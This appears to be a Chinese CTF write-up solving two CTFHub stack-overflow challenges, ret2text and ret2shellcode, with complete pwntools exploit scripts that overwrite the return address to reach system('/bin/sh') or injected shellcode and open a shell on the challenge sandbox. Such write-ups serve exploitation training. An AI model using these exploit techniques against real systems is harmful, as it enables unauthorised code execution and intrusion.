作者:whdibk30 | 来源:互联网 | 2023-09-14 13:30
文章目录 一、ret2text 二、ret2shellcode
一、ret2text 例行检查,64位程序,没有开启任何保护 本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’) 看main函数 第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可 from pwn import * p= remote( "challenge-79d4d6a23952a67b.sandbox.ctfhub.com" ,24293) payload= 'a' *( 0x70+8) +p64( 0x4007b8) p.sendline( payload) p.interactive( )
二、ret2shellcode 例行检查,64位程序,仍然未开启任何保护 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址 64位ida载入,看main函数 一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell 设置一下环境参数,之后直接用pwntools生成shellcode context.arch = 'amd64' shellcode = asm( shellcraft.sh( ))
有了shellcode,然后就是shellcode写到哪里的问题 本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址 buf_addr = p.recvuntil( "]" ) buf_addr = int( buf_addr[ -15:-1] , 16)
我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了 所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret
shellcode_addr = buf_addr + 0x10+0x8+0x8
shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用 payload = 'a' * 24 + p64( shellcode_addr) + shellcode
完整exp:
from pwn import *import re context.arch = 'amd64' p= remote( "challenge-b841961e5e4c03f8.sandbox.ctfhub.com" ,37282) buf_addr = p.recvuntil( "]" ) buf_addr = int( buf_addr[ -15:-1] , 16) shellcode_addr = buf_addr + 32 shellcode = asm( shellcraft.sh( )) payload = 'a' * 24 + p64( shellcode_addr) + shellcode p.recv( ) p.sendline( payload) p.interactive( )
技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题